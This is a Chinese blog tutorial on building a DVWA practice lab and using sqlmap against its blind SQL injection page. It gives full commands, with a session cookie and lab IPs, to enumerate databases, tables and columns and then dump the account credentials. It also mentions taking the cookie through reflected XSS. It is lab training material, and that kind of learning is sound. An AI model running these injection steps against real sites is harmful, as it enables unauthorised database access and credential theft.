sqlmap对dvwa靶场的账号密码进行破解

1.进行靶场搭建

准备两台虚拟机

靶机:win7  

攻击机:kali linux

win7IP 172.26.0.130
kali linuxIP 172.26.0.129

虚拟机搭建好后,相互ping能ping同就行

安装xampp

XAMPP Installers and Downloads for Apache FriendsXAMPP is an easy to install Apache distribution containing MariaDB, PHP and Perl.https://www.apachefriends.org/zh_cn/index.html

xampp内包含以下三种功能模块,xampp可用于快速开发搭建自己的php网站

PHP动态网页设计语言
Apache网络服务器
Mysql关系型数据库管理系统

安装好后的页面

 2.搭建dvwa靶场

下载dvwa

https://github.com/digininja/DVWA

下载后解压将解压的dvwa文件放到xampp安装目录的htdocs文件夹里

完成后启动xampp,并启动xampp里的apache和mysql后面按钮start进行启动,当apache与mysql变成下图绿色后就行了

 3.靶场搭建完成

验证靶场是否搭建成功,用攻击机kali的浏览器访问172.26.0.130/dvwa(172.26.0.130为靶机ip地址,dvwa是解压后dvwa的文件名)

 进入后输入账号:admin密码:password点击login即可登录,并进入靶场主界面,然后选择sql注入

 4.对靶场账号密码进行破解

打开 kali终端输入sqlmap(kali系统自带sqlmap工具无需下载)

sqlmapsqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL和SQL注入漏洞,其广泛的功能和选项包括数据库指纹,枚举,数据库提权,访问目标文件系统,并在获取操作权限时执行任意命令。

通过反射型xss拿到cookie值(需要登陆所以需要cookie)

通过sqlmap得到当前服务器所有数据库

sqlmap -u "http://172.26.0.130/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie 'security=low; PHPSESSID=md26gc5jbodavaqr6pu119v4kg' --dbs

--dbs显示所有数据库

 通过sqlmap继续查看dvwa库的所有表(可得guestbook表与users表)

sqlmap -u "http://172.26.0.133/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie 'security=low; PHPSESSID=md26gc5jbodavaqr6pu119v4kg' -D dvwa --tables

-D选择数据库
--tables查看所有表

 据此我们可猜测一下账号密码会在哪个表里(首先盲猜是在users表里,查看字段是找到账号密码的手段之一,一般账号字段为user,密码字段为password)

sqlmap -u "http://172.26.0.133/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie 'security=low; PHPSESSID=md26gc5jbodavaqr6pu119v4kg' -D dvwa -T users --column

-T选择表
--column查看表字段

根据返回的字段我们可以肯定该靶场账号密码都在users表里

我们继续对账号密码进行爆破

-C选择字段
--dump获取字段中的数据

本次教程完毕

希望三连

  • 4
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

中将jkx

一起努力吧

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值